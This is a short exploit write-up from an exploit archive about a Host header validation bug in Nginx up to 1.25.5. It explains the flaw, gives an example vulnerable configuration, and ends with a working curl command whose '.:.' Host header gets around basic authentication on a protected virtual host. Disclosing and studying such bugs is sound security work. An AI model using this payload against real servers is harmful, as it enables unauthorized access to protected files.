Exploit for Nginx 1.25.5 Host Header Validation

## https://sploitus.com/exploit?id=PACKETSTORM:178250
# Nginx =< 1.25.5 $host variable validation bug  
  
## Intro:  
  
In the "Host" header sent to Nginx web server you can't just insert a dot or something like that, because a filtering rules exists there.   
The ngx_http_validate_host function is responsible for filtering (https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c#L2145).  
  
## What it validates:  
  
+ two dots in a row are not allowed  
+ colon and everything after it are stripped off  
+ if "Host" header starts with "[", then after "]" everything is deleted  
+ path separators are not allowed  
+ cannot send chars ≤ 0x20 and == 0x7f  
+ if there is a dot at the end, it is removed  
+ if after all deletions the host length is zero, error occurs  
  
## The bug itself:   
  
dot_pos can be greater than host_len, if the last dot is included in the strip, then the last unstripped character (first dot in this case) is not deleted.  
  
So, if "Host" header payload is .:. , the colon and dot after it are stripped, but the first dot remains untouched and Nginx $host variable now contains only single dot character, what can't be done in the normal conditions.  
  
## Vulnerable Nginx server configuration example:  
  
server {  
root /sites/$host;  
index index.html;  
server_name _;  
  
location / {  
try_files $uri $uri/ =404;  
}  
}  
  
server {  
server_name "";  
  
location / {  
return 418 "I'm a teapot.";  
}  
}  
  
server {  
root /sites/protected-host.example.com;  
index flag.html;  
server_name protected-host.example.com;  
auth_basic "Protected File Storage";  
auth_basic_user_file /.htpasswd;  
  
location / {  
try_files $uri $uri/ =404;  
}  
}  
  
## Exploit (unauthorized access to password-protected host in this case):  
  
curl -H "Host: .:." http://protected-host.example.com/protected-host.example.com/flag.html  
  
P.S.  
The bug was sent to security-alert@nginx.org, but the Nginx dev team said that ngx_http_validate_host function is a filter against fools and not a security bug at all, so it was decided to make it as a task on CTF Tinkoff contest.